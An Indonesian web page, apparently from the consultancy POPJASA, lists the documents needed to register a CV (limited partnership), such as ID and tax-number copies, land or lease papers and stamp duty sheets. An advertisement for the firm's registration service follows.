  • Menyiapkan nama CV (sekaligus 3 nama cadangannya dan di anjurkan untuk tidak menggunakan Bahasa Inggris ataupun bahasa asing lain).
  • Fotokopi KTP (Kartu Tanda Penduduk) milik minimal 2 orang, tidak boleh milik suami/istri dan pekerjaan bukan merupakan PNS/TNI/POLRI
  • Fotokopi NPWP (Nomor Pokok Wajib Pajak) pribadi semua pengurus CV
  • Melampirkan fotokopi sertifikat tanah/surat kepemilikan tanah/surat perjanjian tempat usaha sewa-menyewa bagi kontrak/bukan pemilik
  • Melampirkan fotokopi IMB (Izin Mendirikan Bangunan) jika ada
  • Menyiapkan stampel CV (di buat setelah nama CV di setujui)
  • 6 lembar materai Rp. 6.000,-

Baca Juga: Bagaimana Syarat Pembuatan PKP CV?


JASA PENDIRIAN CV

Segera urus pendirian CV Anda di POPJASA! Mengapa harus mengurus pendirian CV di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Older Posts »

Powered by WordPress